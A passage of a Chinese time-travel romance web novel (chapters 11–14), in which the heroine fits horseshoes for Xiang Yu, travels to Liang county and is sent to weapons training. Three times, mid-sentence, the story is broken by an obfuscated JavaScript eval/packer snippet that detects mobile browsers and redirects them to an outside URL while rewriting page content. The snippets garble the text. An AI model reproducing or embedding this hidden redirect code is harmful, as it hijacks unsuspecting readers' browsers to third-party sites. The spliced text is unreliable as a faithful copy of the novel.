项羽垂眸:“好伪装?” 他看着与虞苋消瘦的小脸和单薄的肩膀,看上去乖乖软软的,周身都没有什么攻击力,就像是糯米团子。 倘若将团子剥开,才知道里面是芝麻馅的。 虞苋并不知道短短的半月相处,项羽已经将她整个人的脾性看穿了,闻言点点头:“嗯嗯。” 项羽颔首:“允了。” 虞苋这时便想起了正事:“对了,我已经让铁匠去做铁掌,应该明日便能给马蹄镶嵌,寻将军正是为了提及此事。” “铁掌镶嵌马蹄上?”他的立即抓到了重点,微微皱眉询问道,“第一,铁掌怎么安装;其二,马蹄长长之后该如何修蹄?你可考虑清楚了?” 虞苋点头:“在我老家,马驮重物,基本都会给装上马掌,以此减轻马蹄与地面的摩擦,避免马蹄受伤,因此将军的问题都有解决的方法。” 项羽:“……” 难怪她答应得那般的爽快,原来是一开始便知道章法。 11. 第 11 章 这个时代信息传递缓慢,即便是某个地方出现了一个新事物,想要普及,没有朝廷作为支撑,是非常困难的,因此她的话倒是没什么漏洞。 虞苋继续道:“我虽然自己没有实操过,却看过他人是如何安装马掌的,不过安装马掌不能将钉子钉到肉里面,需要把握这个度,稍微有那么一点点麻烦。” 项羽道:“既然你心中有数,便说说明日几时安装?” “匠人说,明日上午便可将铁具打好。”可能是因为现在虞苋是项羽的姬妾的缘故,匠人倒是乖觉,保证将她吩咐下去的事情尽快办好。 他点头:“可。” 由于上次刺客之事后,虞苋心中对于项羽产生很大的阴影,因此便没有再缠着对方同寝,睡在了隔壁的房间。 翌日上午。 铁匠将工具准备好了,虞苋叫人去请了项羽前来,她蹲在一旁。 项羽来的时候,她正给匠人讲解安装马掌的流程,手舞足蹈的,看上去对此胸有成竹。 虞苋跟匠人讲解完,抬头看见了对方,便屁颠屁颠的跑到项羽面前,说道:“将军,你来了。” 项羽颔首。 她将马掌和铁钉拿来,跟对方道:“将军,这个马蹄铁就是一个圆弧,下面有凹槽,铁钉打在凹槽提前预留的小孔中,使马掌不会因为铁钉多出凸点导致不够平整。而若是马蹄长长,需要给马重新修蹄之时,则可以直接用工具将马蹄铁撬出来即可。” 项羽接过她手上的马掌,看了一眼,见铁片很薄,没有什么重量,马掌形状设计都很成熟,的确不像是偶然兴起做出来的东西。 他道:“先给你的马将铁片安装上去。” 虞苋知道古代的马宝贵,马蹄铁这玩意儿这里的人都没有见到过,定无人愿意将自己的马当成试验品,倒是没有在此纠结,只点点头。 白马的马蹄受了伤,之后项羽寻来了医者给马上了药,现今已经止血,不影响安装。 她点头:“好的将军。” 虞苋将铁片重新拿回给了匠人烧红,又让马奴用钳子和勾刀将马蹄修平整。 等马奴将白马的四个蹄子都修平整之后,她指挥匠人将铁片比划到马蹄上,随时修整铁片的大小与马蹄契合。 匠人调整差不多之后,再将铁片冷却,然后让熟悉马匹习性的马奴小心的将铁钉斜着钉在马蹄上。 在这个过程中,虞苋全程都盯着,掌心都出了黏腻的汗。 项羽告知她,他的身边不留无用之人,而马蹄铁是虞苋第一次在对方面前证明自己有用,她不希望翻车。 等第一个铁片安装好后,马蹄踩在地上,并没有应激。 虞苋微微松了一口气,却依旧不敢放松。 项羽则是挑了挑眉,目光从马蹄移向了眼前的女郎身上。 她的头发用一根木簪随意的挽起,露出了白皙的后颈,几缕碎发从上面垂下,扎眼得紧。 女郎蹲着,她骨架小,身上肥大的青色曲裾垂在地上,越加显得人小小的一只。 虞苋漂亮的小脸上显得格外的认真,与往日只会躲人身后的怯懦模样很不一样,到是看上去有几分靠谱。 白马四只脚掌都已经安装完毕后,原本蹲着的女郎起身揉揉酸痛的小腿,绕着周围走了一圈,随即眼睛亮晶晶的跟匠人和马奴道:“你们第一次给马安装马掌,都没有出错,这也太厉害了吧。” 虞苋的脸蛋红扑扑的,人长得好,朝人甜滋滋地一笑,倒是让两个大老爷们都弄得不好意思了。 见状,项羽有点不高兴,臭着一张脸,眼神却一刻没从她脸上移开。 嗯…… 笑得确实好看。 虞苋感觉到背后一道瘆人的视线,笑容一僵,转头走到了对方的面前,刚才明媚的笑容带上了些讨好的意味:“马掌已经安装好了,将军可要骑马跑上一圈感受一下?” 她的话落,感觉男人的眼神更冷了。 咋的了? 自己什么时候又惹怒他了? 项羽突然伸手揽住她的腰,大高个低头凑到她的耳边,声音很冷:“你和我一起。” “欸?” 眼见周围还有人,虞苋轻咳一声:“我还是算了吧。” 项羽嗤笑:“记住自己是什么身份。” 什么身份?侍妾呗。 她小鸡啄米的点点头:“记得住的。” 这人怎么突然就发神经了,明明她刚刚算是解决了马蹄磨损的小问题,还这样凶人。 虞苋嘴上是答应得好好的,可是眼睛里还有不服气。 项羽道:“既然记得住,便不准对其他人笑。” “哦~~”她眉目微动,偷瞄对方,见他脸上表情青黑,虞苋突然展颜,“好滴好滴。” 项羽见她笑得鸡贼,神色却越加严肃,将她松开道:“站去一旁,免得等下铁钉钉得不好,惊马伤了你。” 铁蹄若是没有装好,的确会出现惊马的可能,项羽刚才是吓唬她,并没有真让她一起的意思。 虞苋闻言倒是老实点头,离得远了些。 她看着项羽翻身上马,此时没有马蹬,他不需借助外力,上马的姿势极为养眼。 刚坐稳,他便驱使马直接窜了出去,不给人半点反应的时间。白马在对方的身下也是极为听话,安安分分的跑了一圈,未见有任何不适。 桓楚已经办完事情回来,目光落在了马掌上,道:“这玩意儿还真给你弄成了。” 虞苋道:“主要是有前人的经验,我就是照葫芦画瓢罢了,算不得什么本事。” 这时项羽已经下马,到了两人面前,将马绳交给虞苋,淡淡道:“不错,马按上马掌之后,骑上去的确很稳,这匹白马是你的了。” 她刚接过绳子,对方又道:“只要是人,从蹒跚学步开始,就在承袭前人的经验。也就是说世间的绝大多数人,都是将他人的经验化用,你能将自己见过的东西使用出来,是你自己的本事,不必妄自菲薄。” 桓楚点头:“没错没错。” 虞苋眼睛一亮:“那此物对于将军来说算不算是有点用?” 桓楚却已经抢答:“当然算!” 他道:“一般骑兵都会穿戴铁甲,身上沉重,而战马珍贵,身上驮着重物则极易磨损马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736948|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹄,若是长途奔袭,战马则会因为脚掌受伤而失去行动力。你弄出的这个马蹄铁若是真能保护马蹄,在军中自然是大有用处。” 虞苋转头看向项羽,睫毛眨啊眨,看上去是在求证,实际上是在等夸奖。 项羽看懂了她的言下之意,眼睛里倒是带了些许笑意:“桓叔说得没错,此物的确大有用处。” “嘿嘿。” 她眉眼弯弯。 项羽道:“先别笑了,回房收拾行李,待会儿与韩信一起启程,我会给你带上五个亲卫,一路护送你们回去。” 虞苋:“……” 不嘿嘿。 她点点头:“好的将军。” 虞苋知道项羽的安排是最好的,熊心毕竟将会成为楚王,到时候散成一盘沙的楚地诸侯便会联合起来反秦,秦人焉能镇压呢? 不过,秦朝的朝廷,现下内斗得厉害。 赵高和李斯在朝廷斗法正陷入了白热化,不知道他们还有多少余力来对付熊心? 虞苋只是一个普通人,并非是政客,即便是有部分的上帝视角,对于历史的细节,依旧是一片空白。 见项羽已经将事情安排妥帖,便只能接受对方的安排,默默回房间收拾去了。 她没啥好收拾的,就是几件衣裳,因此很快就收拾好了。 等虞苋出了门,项羽和韩信都在门口,浑身萎靡。 她走到了项羽面前,低头道:“将军,保重。” 项羽将一把剑鞘镶满宝石的匕首递到虞苋面前:“容易伪装的短刀暂时没有,这等华丽的宝刀,我正好有一把,暂时送与你防身,到了梁县,会送你一把更好的。” 虞苋将匕首接过,将刀刃出鞘,只见寒光一闪,上面能反射出她的容貌。 可见这匕首并非只是好看,亦是一把神兵利器。 她蹲下稽首:“多谢将军。”面上看上去亦是欢喜的。 项羽点了五人,吩咐道:“好好护送夫人到梁县。” “喏。” 韩信见状,也道:“请将军放心,属下定会将夫人安全送达。” 项羽颔首。 于是虞苋就坐着马车跟着韩信,先行离开了丹阳,没有再走水路,而走的是陆路。 马车启程了,车轮在泥巴路上压出两道印子,慢悠悠的离开了。 虞苋撩起幕帘,身子被颠簸的马车晃悠的厉害,眼神却牢牢的锁定在庄子门口的那一抹颀长的身影上。 对方站得笔直,身着玄衣,腰间带玉,衣裳和黑发被风吹得扬起。 随着马车的渐行渐远,项羽的脸庞也逐渐模糊,视野变得广阔,在他身侧,莲池里成群的荷花被风吹得荡起了波浪~ 一直等到看不见人,她也没舍得放下幕帘。 韩信骑马到了车旁,说道:“夫人,可是在担心将军?” 虞苋回神,将目光移向对方,不得不说这人样貌的确不错,难怪有妇人见他长得好,愿意给他送吃食。 她道:“嗯。” 韩信看着她漂亮的面容,耳朵微红,安慰道:“将军武力超绝,定然不会出事,夫人且宽心。” 12. 第 12 章 四月底。 三川郡,梁县。 由于有韩信带路,他们一行人并未遇见盗贼,很是顺利的到达了梁县。 而项梁见到韩信送来的密信之后,便派了一队军队前往接应。 他得知自己这个侄子出去了这一遭,还带回了一个美娇娘,亲自接见了她。 虞苋可怂得很,到了项梁面前,跪在地上头都不抬。 项羽不在,就见了家长,她心里慌啊。 项梁年近中年,身上不怒自威,声音却很温和:“别怕,我不拿你怎么样,就是问你几个问题,你如实回答便可。” 她弱弱点点头。 “你是哪里人?” “苍梧人。” 古地名应该叫做苍梧。 “如何与阿羽相识的?” “家人被盗贼屠戮,我被项将军所救,他见我可怜,收留了我。” 项梁见这女郎长得漂亮,声音软绵绵的,提及家人被屠是眼睛瞬间就红了,乖巧软糯又可怜兮兮,也难怪自己的侄儿扛不住。 是好事,阿羽这个年纪,身边倒也该有个人了。 他问完了话便让人带她下去安顿,还特地给她寻了婢女前去伺候。 而虞苋刚到梁县没多久,消息便传了出去,县里的豪绅夫人都差人送来请帖,并送上礼品邀请她赴宴。 她原本再犹豫要不要去,却正好听见婢女在背后嚼舌根,说是如今不少女郎仰慕项羽的权势,怕是见不惯她榜上了项羽,想将她造成意外弄死。 于是,虞苋全部都拒绝了,门都没出去。 到了五月初三,天上挂着上弦月,院中飞舞着萤火虫,风从窗户吹进房间,床上的轻纱微微浮动。 夏日闷热,虞苋睡得满头大汗,难受得睡不着,便到窗前透透气。 在月影疏斜的院落中,一个人影坐在亭中,手中正拿着什么看得出神。 “项将军?” 他抬头,将手中东西收起,冷声道:“怎么还不睡?” 还真是他。 虞苋赶紧小跑出门,到了项羽面前站定,脸上格外的欣喜:“将军你终于回来了,身上没有受伤吧?” 项羽倒是淡定:“不如你给我检查检查?” “呃……” 他倒是没说什么:“坐吧。” 虞苋乖乖坐到了项羽的对面,对方拿起石案上铜杯,倒了水放在她面前。 她刚睡醒正好渴了,说了句“谢谢将军”,便双手捧起铜杯,将里面的液体一饮而尽。 口中辛辣,舌尖发麻。 酒水已经咽下去了。 虞苋的两颊飞快的出现了红晕,眼神微微发蒙,疑惑道:“这怎么是酒?” 项羽见状,反问道:“不然是什么?” 她捏捏耳垂,闷声闷气道:“我还以为是水。” 项羽挑眉:“你喝不了酒?” 虞苋赶紧摇头:“没有没有。”就是喝酒经常喝醉,断片,发酒疯。 当然这样丢人的事情她决不能承认的。 她加上好久没有沾酒了,还有点馋,便慢吞吞地伸出手,在项羽的眼底子底下,又给自己倒了一杯酒。 见对面的目光扫来,女郎羞涩地解释道:“还有点渴,我解解渴。” 院中只亮了一盏灯笼,挂在屋檐外的房梁上,夜风吹来,灯笼被吹得晃荡。 昏黄的烛光打在虞苋的身上,能看出她刚睡醒,只披了一件白色单衣,未束腰带,衣裳斜挎的挂在身上,一头黑发散开,碎发正被吹开。 她明亮的眼睛带着笑意,似乎并不知道自己的模样到底有多吸引人,正像只猫儿一样嘬酒杯中的浆酒。 项羽不自在的移开了眼神,右手拿着铜杯,指腹摩擦着杯沿,突然说道:“这是我的房间,现下被你霸占了,我睡哪?” 虞苋眨了眨眼睛,赶紧解释道:“是武信君安排我住在这里的,不是我霸占项将军的房间,请将军明鉴。” 项羽眼神微眯,凑近道:“既然你说起叔父,我回来之后,听说你已见过了叔父,可有此事?” 她点头:“嗯啊。” 项羽伸手,给她擦掉嘴边的酒渍,提醒道:“这里人多眼杂,不比外面,如今你是我的侍妾,怕是有不少人盯着你。” 虞苋感觉道对方的指腹格外的滚烫,轻柔地划过她的嘴唇,面上却好像此事之时他随意之举,让她原本有些被酒浸红的脸更烫了。 她赶紧往后仰。 项羽没在说话,拿起杯子喝酒。 虞苋却还在想对方说的话,再联想到之前那两个婢女说有人想要她死,心中顿时有些胆寒。 这个任命草芥的世道,真是一眼不合就会要人性命。 作为一个妾室,想要过得好,莫非真得受宠才行? 加上之前那些夫人给她送礼,也是看在她是项羽唯一的侍妾的份上,才都眼巴巴凑上来。 若是众人发现项羽回来之后,却和她分房而睡,岂不是说她没那么受宠……咳咳,背后想杀她的人岂非更加肆无忌惮,她焉还能活? 她心中慌张,思绪万千,最后下定决心,扭着腰肢袅袅娜娜的走到了项羽面前,眉眼带着娇媚讨好的笑:“项将军,你回来得这么的晚,再让人收拾其他房间休息也需要时间,不如今晚就和我睡。” 说完,她又大度道:“我就委屈一点,将床分给你一半。” 这女郎装得很。 “哦?”项羽脸上的神色不变,看上去还有些严肃,“你睡的是我的房间,何来是你将床分我一半?” “呃……” 他淡定道:“是我将床分你一半。” 虞苋:“哦。” 无法反驳。 项羽起身:“夜已深,休息了。” 对方的身材高大,穿着一身的黑,影子被远处的灯笼拉得很长,看上去就像是一只巨兽,能将人一口拆吞入腹。 虞苋看着他的背影,眼神越加的无语,拿起酒壶给自己再倒了一杯酒,坐在一旁慢慢的品尝。 脑子里却在思考,待会儿怎么说让她招募武婢之事,将来遇到危险才不至于被动挨打。 见他已经点了房间里烛台上的蜡烛,她心一横,将杯中的酒水喝完,又拿起酒壶吨吨喝。 酒的度数不高,却也架不住她牛饮,酒意瞬间就上头。 她将酒壶丢在地上,上前踢了一脚,不顾自己的脚疼,眼睛红红的跑进了屋。 项羽正在解外衣,后背对着她。 虞苋甚少受过什么委屈,最近受过的最大委屈,便是为了活命成了一个小妾。 来到梁县后,又受人编排。 她脑袋有些晕乎乎的,见他背对着她,坏主意立即就涌上心头。 进门后她关掉房门,然后像个小牛犊子似的冲了过去,用自己的铁头对准对方的腰撞去,一点力度都不带收的,势要将项羽的腰撞伤。 然而对方突然转身,单手捞住了她的腰,直接将她放在床上。 轻轻松松,很是丝滑。 虞苋回神的时候,双腿已经蜷缩的跪在窗边,她仰起头,眼神还有些懵。 项羽看着她红得滴血的耳垂,身上的馨香混着酒气。 他不由皱起眉头,回神看向窗外,便见到院中石案上的酒壶已经滚落在地上,已然是被人喝完。 项羽又将目光移向虞苋,脸上错愕:“就一会儿功夫,你就将一壶的酒喝完了?” 虞苋:“嗯啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736949|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 项羽:“……” 还是一个酒鬼。 他冷着一张脸,挑起她的下巴,周身气压降至冰点,质问道:“刚才你是想撞我?” 虞苋打掉项羽的手,随即揉了揉自己的脑门,不太喜欢跪着的这个姿势,默默地爬起站在床上,掷地有声道:“没有啊。” 她话落之后,还煞有其事地点点头,压根不敢看对方的冷脸,张嘴就来:“项将军,你是不是误会我了,我只是喝醉了,脚滑没站稳啊。” 项羽:“……脚滑?” 虞苋双手搭在他肩膀上,眼神微眯格外的迷离:“对啊。” 项羽低头看着她潮红的脸颊,想起了第一次见到她的那个夜晚,她因为着凉和惊惧半夜发起了高烧,浑身颤抖,握着他的手不放开,还像根藤蔓将他缠紧,眼泪汪汪的哭诉“死人了”,黏人得紧。 女郎双臂收拢,将脑袋拱在他的怀中,小声道:“醉了,想睡觉。” 他拉开她的手,原是想吩咐人去煮醒酒汤,这才意识到院中没人:“听说叔父给你送了两个婢女伺候你,她们人呢?怎么没有人值夜?” 虞苋闻言“哦”了一声:“你说那两个漂亮的女婢吗?” 她摇头:“我不晓得。” 项羽见她睡眼朦胧,看上去的确是困得受不住了,全心信赖靠在他怀中,眼神稍微柔和了些。 他语气还是冷的:“你好好待在这里,我找人给你煮解酒汤。” 虞苋乖乖点头。 项羽出了院子,挥手叫来亲卫:“叫人去煮碗醒酒汤。” 亲卫:“喏。” 他继续道:“还有,她住进来之后,发生了什么事情,知道多少,一五一十的都说出来。” 亲卫有些欲言又止,见项羽越加冰冷的眼神,不敢隐瞒:“夫人住进来之后,武信君送来了两个婢女,第二日便有人知道了她是将军的夫人之事,来了不少人给夫人送礼,邀请夫人去赴宴。” 项羽皱眉:“然后呢?” 亲卫道:“夫人还在犹豫是否前去,便听到两位婢女在背后说,有不少贵女想要嫁给将军,夫人若是前去赴宴,她一个孤女,怕会被人寻个由头制造意外而死,到时候将军回来定会降罪她们,夫人听后便没有去了。” 好大的胆子。 他忍着怒意,接着问:“既然是叔父送来的婢女,为何晚上无人在外面值守?”一点规矩都没有。 “听说是,是因为,是……” 见下属支支吾吾,项羽颔首:“直说。” 亲卫心一狠,直接说道:“听闻她们原本是武信君要送给下属的美妾,见夫人身边缺人伺候,两人正好都调教过了,便将两人送给夫人做了婢女。她们编排武信君送婢女伺候夫人是假,实际上是为了将她们送来伺候将军,便对夫人有所怠慢。” 项羽询问:“她也听见了?” 亲卫是项羽派去护送虞苋的其中一人,临前被交代好了要看着她。 他因此点头:“都听见了。” 项羽:“行,我知道了,明日下去领赏。” 他回头看着屋内散出来的微光,周身上下都透露着一股冷寒之意。 难怪虞苋本见他杀人后便畏惧他,今晚见到他,竟会表现得十分的惊喜和主动,怕是这几日受了不少的委屈和编排。 她倒是能忍,竟是半点都未曾主动提及。 不过项羽倒是误会虞苋了,她不提,是因为人性本就爱踩高捧低,无关男女。而为了利益借势攀附,又不丢人,她自己便也是这种贯切落实的主儿。 加上这两人不是她的人,是长辈送的,动不得,自是无心搭理。 虞苋又不是没管过公司的员工,当然是自己培养的人才用的顺手。 13. 第 13 章 虞苋见项羽离开之后,便弓着腰,用头抵住床榻,双手按揉酸胀的太阳穴。 光顾着报复人,忘记提正事了。 她见项羽出去后一直没有出现,脑中的睡意有点扛不住了,便翻了个身,抱着被褥闭眼睡觉。 睡得正香,虞苋便感觉自己被人捞了起来,她不情不愿地睁开眼睛,便看见了项羽冷硬的下巴。 他的嘴巴紧闭,不知道刚刚出去之后谁惹他不痛快了,冷着一张脸,房间里的气压降低,仿佛自己一睡醒就来到了阎王府,被顶头的阎罗王给盯上了。 “先喝了醒酒汤再睡。” 唔,声音也冷,好像别人欠他钱了似的。 虞苋脑袋彻底清醒了,没有睁眼,感觉项羽还在执着于将她推醒,气不打一处来。 她眼珠子在眼皮底下转了两下,脑子瞬间又有了主意,伸腰“嘤咛”一声,紧接着翻身,巴掌清脆的扫在了项羽的脸上,发出了清脆的声响。 哦~打到了,解气~~ 项羽看着虞苋看着扇了他一巴掌之后,又朝着他怀中拱了拱,头发凌乱,就像是一只找他撒气的狸奴。 窝里横。 这一巴掌给他扇爽了,他捏住女郎的手,按住了虞苋手掌的虎口,她“啊”的痛呼了一声,瞬间睁开了眼睛。 “不装睡了?” 虞苋收回手,揉了揉自己的虎口,眼神怯怯:“项将军,刚刚真不是我故意的,不小心打到了你,就是打了你一巴掌之后我才清醒,害怕你生气,才会装睡。” 项羽看着她说话时睫毛微颤,在红润的脸颊投上了一抹阴影,明知道对方是故意为之,看在她的这样脸上,却怎么也生不起气来。 他将汤药拿到虞苋的面前:“喝了吧。” 虞苋之前生病也是喝的黑乎乎的药,喝了好几天,现在看着汤药就难受。 她默默伸手。 项羽将碗递给她。 虞苋手假装被烫到,汤药被打翻在地。 项羽:“……” 她先发制人,委屈巴巴道:“烫。” 项羽看着木质地板上的汤药,脸上铁青,深吸了一口气看她,却见小女郎就像是做错事的小孩,缩成了一团,讨好的看着他。 “项将军你不会生气了吧?” “都是妾身的错,你千万不要气坏了身子。” 项羽沉默。 外面翻起风,天气大变,一股冷风从窗户吹了进来,紧接着雨水便哗哗啦啦的落了下来,风吹了细雨进屋,烛台上的蜡烛也被吹灭,房间里陷入了黑暗之中。 五月的天气便是如此的多变。 他没有唤人收拾,自己找了块布将汤药给擦拭干净,随后道:“你不想喝就不喝吧。” 虞苋怂了,试探的问:“你真生气了?” 项羽轻哼:“我不会发酒疯的人讲道理。” 虞苋:“……” 见对方站在窗边,眼神冷冷盯着她,虞苋福临心至,立即给人让出了一个位置,双手拍拍床榻:“夜深了,将军赶紧休息吧。” 项羽解了外衣,躺了上去,虞苋便乖巧的将一半的被子,主动的给对方盖上,然后自己默默往里缩成一团,整个脑袋都蒙在了被褥里。 随着刚才的事情这么一打岔,虞苋又忘记了自己要说的正事,打算明日脑子清醒了之后再思考措辞,该怎么跟对方说起让她招揽武婢之事。 下一刻她就人提了上来,项羽双眼重瞳,语气冷淡:“躺好,别憋死。” 虞苋捏了捏耳垂,翻了个身继续睡。 项羽将她扒拉了一下,她被迫滚进对方的怀中,正错愕时,对方淡淡道:“关于婢女的事情,已有人跟我汇报了,明日我重新选几个老实本分的来伺候你。” 嗯? 虞苋仰头看他,黑夜中只看见对方模糊的轮廓线条,看不清表情,只是清晰的感觉到项羽的目光一直在她的身上,看得她浑身不自在。 他身体十分滚烫,似乎能听到心脏在强有力的跳动,带着她的身体极度升温。 对方的手揽着她的腰上,臂弯将女郎整个人栓紧,被褥里两人贴在一块。 正让人不知所措,项羽继续说道:“既然你跟了我,我不会让你受委屈。” 虞苋手指蜷缩,拉扯着心脏,好像是被什么轻轻一扯,颤了一下,格外的酸爽。 男人的话,骗人的鬼。 她老爹当初跟她妈年少相爱,一路扶持,在功成名就之后,两人最后还不是离了婚。 在被褥下的手狠狠地掐了一下指甲盖,感觉到细密的疼痛,便立即恢复了理智。 此时不提正事,更待何时呢? 虞苋抿嘴,手柔弱无骨的盘在项羽的肩膀,声音很轻:“我能不能要能打的武婢,至少遇到盗贼的时候,身边之人有还手的能力。” 她眼神期待。 项羽闻言,手轻拍女郎的脊背,似在思考。 隔了一会儿道:“既然怕无还手之力,那明日开始,便跟着我去校场训练。” “啊?” “将生命交于他人终究不美,既然你这般怕死,那便好好学习自保的本事。”他上下捏捏她的骨头,“你的筋骨软,现在习武不晚。” 虞苋当初是走艺术生升学的路子,骨骼的确是比较软的,毕业就不怎么跳了。 她吃过练舞的苦,闻言两眼一黑。 项羽:“不愿意?” 虞苋看着看着对方的脸色,哪敢说一句不愿意,捂着脸点了点头。 她又询问:“项将军,那武婢的事~~” 项羽干脆道:“会给你找,得找靠谱的。” 唔,真是太感动了。 虞苋立即眉眼带笑:“项将军,我就知道你是一个好人,我没跟错人。” 项羽:“……”这是给他带高帽子? 怎么每次被她说成好人的时候怎么就不得劲呢? 此时虞苋的脑袋还算清醒,酒意还没有下头,看着对方还牢牢的搂着她,两具身体都黏糊在一起,出了一身黏腻的汗。 两人都是成年的身体,此时荷尔蒙控制脑子,倒是感觉挤压的胸口有些敏感,她耳朵红得滴血了。 不行。 等下情意上头,怕是要干菜烈火。 要不得要不得。 虞苋推推他的胸膛,打了个哈欠,道:“项将军,我真的好困,得睡觉了,你松松,喘不过气了。” 项羽凝视了她一眼,脸上很是不快,倒是没有为难,直接将她的腰肢给松开了。 她松了一口气。 唔~ 身上没有了硬如烙铁的臂膀固定着,却奇怪的感觉到一股难受的情绪萦绕在心间。 瞎想什么,赶紧睡觉。 项羽见她闭眼睡觉,给她掖了掖被子,随即也闭眼休息。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736950|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚要睡着,一个小火炉拱了上来,双腿双脚搭在身上,脑袋枕着他的手臂,睡死了过去。 项羽:“……” 作孽。 这是要折磨死他了。 翌日。 虞苋在大大的床上滚来滚去,突然感觉到了不对劲,瞬间睁开了眼睛。 项羽不在房间。 可是房间有四个女婢,全都穿着靛色曲裾,规规矩矩的跪在地上,捧着手帕和金黄色的铜盆。 虞苋:“……什么情况?” 上来了一个婢女回话,她脖子纤长,面容秀美沉静,规规矩矩道:“婢子雪纹,是项将军叫婢子们来服侍夫人的。” 虞苋道:“你是她们的头儿?” 雪纹回答得格外的稳:“回夫人,你才是她们的主子。” 有点意思的。 她又问:“之前武信君送来的女婢呢?她们现在去了哪里?” 至于去了哪里~ 项羽起床时,亦不见到她们,却在用早膳时,两人精心打扮了一番来了。 若非顾忌是叔父送来的人,他当场就要将人砍头,不会只将人送了回去。 项梁见项羽将他送来的婢女退回,倒是表现得很高兴,拍了拍他的肩膀:“看来你小子是真动了心,还不赶紧抓紧时间些时间,我还等着抱侄孙呢。” 虞苋得知后,倒是什么也没说。 人是武信君送的,是项羽退回去的,跟她没有半毛钱的关系。她压根没有主动在人前提及二人,便是连两人的名字都没记住。 虞苋询问:“你可会武功?” 雪纹闻言摇头:“回夫人,婢子不会。” 虞苋现在是入乡随俗,没有纠结这些人的自称,再说了,她讨好项羽的时候还以“妾身”自称,称呼而已。 听闻雪纹不会武,她还是有些失望的。 她摆摆手:“以后这院子的活有你安排她们完成,不过我身边不习惯太多人伺候,亦不喜人近身,每日派人轮值即可。” 雪纹:“喏。” 雪纹早就得知了虞苋是被项羽所救的孤女,听闻是位国色美人,不成想见了之后才发现果然名不虚言。 可怜刚失去了家人,便被掳来当了侍妾。 只是这性子着实是格外软和,听闻这位虞夫人被欺负了,连半句话都没跟将军告状,还是将军敏锐发现了端倪,不然还不知道将来会受那两个胆大包天的婢女多少的委屈。 “几时了?” “回夫人,已经是巳时末。” 那便是快十一点了,她摸了摸肚子,还是先吃饭些吧。 虞苋梳洗完之后,雪纹便下去准备饭菜去了。 她还没有穿越之前,自己的住宅想要院子和房间每日保持干净美观,想要随时吃上热饭,也是请了二十来个员工,因此她对于别人端茶倒水倒是没有什么心理负担,应该叫做是提供工作岗位。 只是…… 好像是有什么事情让她给忘记了。 虞苋刚吃饱,外面的日头很大,她摊在凉亭中纳凉,项羽便像鬼一样的出现在她眼前。 她爬起来:“将军~~” 项羽双手抱胸,居高临下:“去骑你的小白马,和我一起去校场。” 虞苋:“去校场干嘛?” 他冷哼:“当然是教给你自保的武力。” 虞苋:“……”啊啊啊啊!是忘记了这茬! 14. 第 14 章 虞苋装作一脸的疑惑:“将军何时跟我说过,要教我自保的武力,为何我一点印象都没有了呢,真是奇怪。” “昨晚。” “我只记得昨晚我喝了一点酒,还是项将军你倒给我的,后面的事情我就不大记得清楚了。” 项羽双手抱胸:“真不记得了?” “对,什么都不记得了。”说完,她转身背对着项羽,低头,伸出右手装模作样地按住太阳穴,一副病弱娇气的模样,“我身子骨孱弱,不如就算了吧。” 要知道习武可不是开玩笑的,是要吃大苦头的。她想要自保,倒是只想着招揽武婢,可没想去练武啊。 项羽双手抱胸,讥讽道:“不会是怕吃苦吧?” 真相了。 虞苋仰头,反问:“难道在项将军眼中,我便是你口中的这种吃不得苦的人?” 他点头:“是啊。” 虞苋右手握拳,一下两下的拍着胸口,同样摇头晃脑,一副痛心疾首的样子:“将军对妾身误解之深,妾身真是百口无言。” “昨晚发生之事妾身是真记不住了,并非是怕苦躲懒,若是将军还不信。”她左手伸出三根手指,斩钉截铁道,“妾身可以发毒誓,倘若口中有半句谎言,我将来便生不出子嗣!” 项羽:“……” 这人真是鬼精鬼精的,惯是会装模作样。 他懒得跟她掰扯,语气淡淡道:“既然不是怕苦躲懒,不必再多言,跟我走吧。” 这下轮到虞苋哑口无言。 她怎么将自己给绕进去了。 瞥了项羽一眼,见今日他的身上穿了玄衣,领口袖口都绣上了云纹,腰带上镶嵌了红色宝石,单调的装扮显得容颜越盛。 唉。 长得如此好看,难怪招女郎喜欢。 就是说话委实难听。 虞苋感觉到头顶上越加压迫的眼神,皱着小脸,像个敢怒不敢言的受气包一样。 好日子终是到头了。 “是是是,走走走。” 校场离住处有三里路,骑马很快就到了。 走进校场之后,里面训练的人不仅有男的,女的都有,和她想象中的很不一样,完全打破了虞苋的认知。 于是虞苋跑到项羽前面,问了一个很傻逼的问题:“妇人也能上阵杀敌吗?” 项羽睨了她一眼,语气嘲讽道:“若是城破之后,敌军难道看见你是女人,便会手下留情不杀你了吗?” 虞苋噎住。 在她知道的历史中,除了商朝的妇好与明朝的秦良玉是巾帼女将军,其余的,或许是她看的史书太少,并不清楚。 而女将军的确甚少有在史书上留名。 